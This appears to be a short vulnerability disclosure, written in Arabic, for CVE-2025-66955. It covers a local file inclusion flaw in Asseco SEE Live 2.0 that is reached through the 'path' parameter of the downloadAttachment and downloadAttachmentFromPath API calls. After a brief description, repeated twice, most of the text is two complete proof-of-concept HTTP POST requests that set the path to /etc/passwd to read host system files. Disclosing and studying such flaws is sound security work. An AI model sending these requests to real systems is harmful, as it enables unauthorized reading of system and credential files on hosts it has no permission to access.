thewoodenbench/cve-2025-66955يسمح تضمين الملفات المحلي في مكونات خطة الاتصال والبريد الإلكتروني والرسائل النصية القصيرة والفاكس في Asseco SEE Live 2.0 للمستخدمين المصادق عليهم عن بُعد بالوصول إلى الملفات على المضيف عبر معامل "path" في استدعاءات API downloadAttachment و downloadAttachmentFromPath.
تتيح ثغرة تضمين الملفات المحلية (Local File Inclusion) في مكونات خطة الاتصال والبريد الإلكتروني والرسائل النصية القصيرة والفاكس في Asseco SEE Live 2.0 للمستخدمين المصادق عليهم عن بُعد الوصول إلى الملفات الموجودة على المضيف عبر معامل "path" في استدعاءات واجهة برمجة التطبيقات downloadAttachment و downloadAttachmentFromPath.
تتطلب طلبات HTTP مصادقة منخفضة.
POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"
HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"
Email.downloadAttachment
------WebKitFormBoundary
Content-Disposition: form-data; name="id"
[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="path"
/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"
[REDACTED]
------WebKitFormBoundary--
POST /live20/index.php HTTP/2
Host: [REDACTED]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="requestType"
HTTP
------WebKitFormBoundary
Content-Disposition: form-data; name="method"
Email.downloadAttachmentFromPath
------WebKitFormBoundary
Content-Disposition: form-data; name="path"
/etc/passwd
------WebKitFormBoundary
Content-Disposition: form-data; name="downloadToken"
[REDACTED]
------WebKitFormBoundary
Content-Disposition: form-data; name="model"
Template
------WebKitFormBoundary--